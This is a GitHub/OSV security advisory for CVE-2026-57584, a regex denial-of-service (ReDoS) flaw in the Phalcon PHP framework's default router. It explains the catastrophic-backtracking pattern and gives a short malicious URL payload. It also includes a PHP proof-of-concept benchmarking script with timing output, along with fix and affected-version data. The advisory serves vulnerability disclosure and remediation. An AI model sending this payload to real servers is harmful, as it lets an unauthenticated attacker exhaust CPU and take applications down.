{"id":"GHSA-x7rj-f32v-7jjg","summary":"Phalcon: Catastrophic backtracking (ReDoS) in the default Phalcon Router route lead to remote unauthenticated DoS","details":"## Summary\n\nEvery Phalcon MVC application built with a default router (`new Phalcon\\Mvc\\Router()` or `new Phalcon\\Mvc\\Router(true)`, which is the normal case) registers a built-in route whose compiled PCRE pattern is `#^/([\\w0-9\\_\\-]+)/([\\w0-9\\.\\_]+)(/.*)*$#u`. The trailing `(/.*)*` is a nested quantifier whose group body (`/.*`) overlaps itself (`.` matches `/`, and there is no `s`/DOTALL flag), so when the final `$` is forced to fail the engine explores roughly `2^(N/2)` ways to split a run of `N` slashes, causing classic catastrophic backtracking. `Phalcon\\Mvc\\Router::handle()` runs on **every** request and matches this pattern against the attacker-controlled request URI, so a single short request can burn seconds-to-minutes of CPU per request. The same `(/.*)*` construct is also produced by the `/:params` placeholder (`Phalcon\\Mvc\\Router\\Route::compilePattern()`) and by the CLI router (`Phalcon\\Cli\\Router` / `Phalcon\\Cli\\Router\\Route`).\n\n\n## Details \n\nThe vulnerable pattern is emitted in four places, all carrying the same `*` nested quantifier:\n\n- Default MVC route registration `phalcon/Mvc/Router.zep` (`Router::__construct()`): `\"#^/([\\\\w0-9\\\\_\\\\-]+)/([\\\\w0-9\\\\.\\\\_]+)(/.*)*$#u\"`, with paths `[\"controller\": 1, \"action\": 2, \"params\": 3]`.\n- `/:params` placeholder expansions `phalcon/Mvc/Router/Route.zep` (`Route::compilePattern()`): `str_replace(\"/:params\", \"(/.*)*\", pattern)`.\n- Default CLI route `phalcon/Cli/Router.zep` (`Router::__construct()`): `\"#^(?::delimiter)?([a-zA-Z0-9\\\\_\\\\-]+):delimiter([a-zA-Z0-9\\\\.\\\\_]+)(:delimiter.*)*$#\"`.\n- CLI `/:params` expansion `phalcon/Cli/Router/Route.zep` (`Route::compilePattern()`): `\"(\" . this-\u003edelimiter . \".*)*\"`.\n\n`Router::handle()` matches the request URI against this pattern on every request (the combined-regex fast path and the per-route dynamic loop both call `preg_match()` with it). When the subject string ends in a byte that the group cannot consume (for example a newline, since `.` does not match `\\n`), the anchored `$` cannot be satisfied and the engine backtracks over every partition of the leading run of slashes, which is exponential in the number of slashes.\n\n## Remote reachability\n\nIn the default MVC configuration the router uses `URI_SOURCE_GET_URL`, i.e. it reads the request path from `$_GET[\"_url\"]`, which the web server populates from the rewritten request path. **PHP URL-decodes `$_GET`**, so a request path containing `%0a%0a` arrives as the literal two-byte string `\"\\n\\n\"`. The two newlines are the trigger: `.` cannot match `\\n`, and PCRE's `$` forgives exactly one trailing `\\n`, so two of them force the match to fail and unleash the backtracking. No authentication, cookies, or application-specific routes are needed.\n\nExample malicious request path (≈40 bytes): `/a/a////////////////////////////////%0a%0a` (two short segments, a run of `/`, then `%0a%0a`).\n\nApplications configured with `URI_SOURCE_SERVER_REQUEST_URI` are not reachable through this specific newline trick because `REQUEST_URI` is not URL-decoded; they remain exposed to the underlying CPU amplification when the unmatchable tail can be introduced by other means.\n\n## Proof of Concept\n\n```php\n\u003c?php\n\nuse Phalcon\\Di\\FactoryDefault;\nuse Phalcon\\Mvc\\Router;\n\n$di = new FactoryDefault();\n$router = new Router(true);   // defaultRoutes = true (the default)\n$router-\u003esetDI($di);\n\necho \"phalcon            : \" . phpversion(\"phalcon\") . \"\\n\";\necho \"pcre.backtrack_limit: \" . ini_get(\"pcre.backtrack_limit\") . \"\\n\";\necho \"pcre.jit           : \" . ini_get(\"pcre.jit\") . \"\\n\";\n\n// Default configuration\nforeach ($router-\u003egetRoutes() as $r) {\n    if (strpos($r-\u003egetCompiledPattern(), \"(/.*)*\") !== false) {\n        echo \"vulnerable route   : \" . $r-\u003egetCompiledPattern() . \"\\n\";\n    }\n}\necho \"\\n\";\n\nfunction bench(Router $router, string $uri, string $label): void\n{\n    $t0 = hrtime(true);\n    try {\n        $router-\u003ehandle($uri);\n    } catch (\\Throwable $e) {\n        // matching failure and fallback to time\n    }\n    $ms = (hrtime(true) - $t0) / 1e6;\n    printf(\"  %-22s uri_len=%4d   %10.3f ms\\n\", $label, strlen($uri), $ms);\n}\n\nbench($router, \"/products/edit/123\", \"normal URL\");\necho \"\\n\";\n\n// Malicious: two short segments, then a run of slashes, then \"\\n\\n\" (the decoded %0a%0a).\n$ks = getenv(\"REDOS_KS\") ? array_map(\"intval\", explode(\",\", getenv(\"REDOS_KS\")))\n                         : [14, 18, 22, 26, 30, 34];\nforeach ($ks as $k) {\n    $uri = \"/a/a\" . str_repeat(\"/\", $k) . \"\\n\\n\";\n    bench($router, $uri, \"evil slashes=$k\");\n}\n\necho \"\\nEach +4 slashes multiplies time ~16x (clean 2^N). A ~40-byte URL is sufficient\\n\";\necho \"to pin a CPU core; under default backtrack_limit the per-request cost is a fixed\\n\";\necho \"(but ~10000x-amplified vs a normal route) bail, exhausting workers under volume.\\n\";\n\n\n```\n\nin poc above builds a default `Phalcon\\Mvc\\Router`, confirms the live compiled pattern contains `(/.*)*`, and times `$router-\u003ehandle($uri)` (the real request path) for crafted URIs of the form `\"/a/a\" . str_repeat(\"/\", k) . \"\\n\\n\"`. Measured against a clean, non-sanitizer build of Phalcon 5.14.2 (PHP 8.3.31 NTS):\n\n```\nphalcon            : 5.14.2\nvulnerable route   : #^/([\\w0-9\\_\\-]+)/([\\w0-9\\.\\_]+)(/.*)*$#u\n\nDEFAULT config (pcre.jit=1, backtrack_limit=1,000,000)\n  normal URL             uri_len=  18        1.182 ms\n  evil slashes=22        uri_len=  28        1.016 ms\n  evil slashes=34        uri_len=  40        1.015 ms   (plateau = backtrack-limit bail)\n\nRAISED backtrack_limit=1e9, pcre.jit=0 (true exponential)\n  evil slashes=18        uri_len=  24        5.555 ms\n  evil slashes=22        uri_len=  28       90.317 ms\n  evil slashes=24        uri_len=  30      356.800 ms\n  evil slashes=26        uri_len=  32     1426.734 ms\n  evil slashes=28        uri_len=  34     5727.099 ms\n```\n\nThe curve is cleanly exponential each four extra slashes multiplies the time by ~16× (`2^(N/2)`). A ~34-byte URL already costs ~5.7 s of CPU; ~40 bytes reaches minutes.\n\n## Impact\n\nTwo regimes, both measured on the real build:\n\n- **Default PHP configuration (JIT on, `pcre.backtrack_limit = 1,000,000`):** each match bails at the backtrack limit after a fixed ~1 ms and `preg_match()` reports failure. This is not a per-request hang, but it is (a) a large CPU amplification per tiny request a few hundred concurrent ~40-byte requests saturate the PHP-FPM worker pool (volumetric DoS), and (b) a correctness bug, because the default route silently fails to match and affected requests mis-route / 404. \n\n- **PCRE JIT disabled, or `pcre.backtrack_limit` raised:** a single ~40-byte request pins a CPU core for seconds to minutes a classic single-packet ReDoS that hangs a worker outright. PCRE JIT is disabled on a number of distributions/builds, and applications with complex routes or large request bodies sometimes raise the backtrack limit, so this is a realistic configuration.","aliases":["CVE-2026-57584"],"modified":"2026-08-28T16:15:06.433556474Z","published":"2026-08-28T16:06:31Z","database_specific":{"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2026-08-28T16:06:31Z","nvd_published_at":"2026-07-10T22:16:44Z","cwe_ids":["CWE-1333"]},"references":[{"type":"WEB","url":"https://github.com/phalcon/cphalcon/security/advisories/GHSA-x7rj-f32v-7jjg"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-57584"},{"type":"WEB","url":"https://github.com/phalcon/cphalcon/commit/14ba22d389d5ca620bb9d5207205f836ef1224f2"},{"type":"WEB","url":"https://github.com/phalcon/cphalcon/commit/fa798e919cb2c487062bb9899ad6fc2b673b3a67"},{"type":"PACKAGE","url":"https://github.com/phalcon/cphalcon"},{"type":"WEB","url":"https://github.com/phalcon/cphalcon/releases/tag/v5.15.0"}],"affected":[{"package":{"name":"phalcon/cphalcon","ecosystem":"Packagist","purl":"pkg:composer/phalcon/cphalcon"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"5.15.0"}]}],"versions":["5.10.0","5.12.0","5.9.0","5.9.1","5.9.2","5.9.3","v3.0.0","v3.0.1","v3.0.2","v3.0.3","v3.0.4","v3.1.0","v3.1.0-alpha1","v3.1.0-alpha2","v3.1.1","v3.1.2","v3.2.0","v3.2.1","v3.2.2","v3.2.3","v3.2.4","v3.3.0","v3.3.1","v3.3.2","v3.4.0","v3.4.1","v3.4.2","v3.4.3","v3.4.4","v3.4.5","v4.0.0","v4.0.0-alpha.2","v4.0.0-alpha.3","v4.0.0-alpha.4","v4.0.0-alpha.5","v4.0.0-alpha1","v4.0.0-beta.1","v4.0.0-beta.2","v4.0.0-rc.1","v4.0.0-rc.2","v4.0.0-rc.3","v4.0.1","v4.0.2","v4.0.3","v4.0.4","v4.0.5","v4.0.6","v4.1.0","v4.1.1","v4.1.2","v4.1.3","v5.0.0","v5.0.0-alpha.1","v5.0.0-alpha.2","v5.0.0RC1","v5.0.0RC2","v5.0.0RC3","v5.0.0RC4","v5.0.0alpha3","v5.0.0alpha4","v5.0.0alpha5","v5.0.0alpha6","v5.0.0alpha7","v5.0.0beta1","v5.0.0beta2","v5.0.0beta3","v5.0.1","v5.0.2","v5.0.3","v5.0.4","v5.0.5","v5.1.0","v5.1.1","v5.1.2","v5.1.3","v5.1.4","v5.11.0","v5.11.1","v5.12.1","v5.13.0","v5.14.0","v5.14.1","v5.14.2","v5.2.0","v5.2.1","v5.2.2","v5.2.3","v5.3.0","v5.3.1","v5.4.0","v5.5.0","v5.6.0","v5.6.1","v5.6.2","v5.7.0","v5.8.0"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-x7rj-f32v-7jjg/GHSA-x7rj-f32v-7jjg.json","last_known_affected_version_range":"\u003c= 5.14.2"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}]}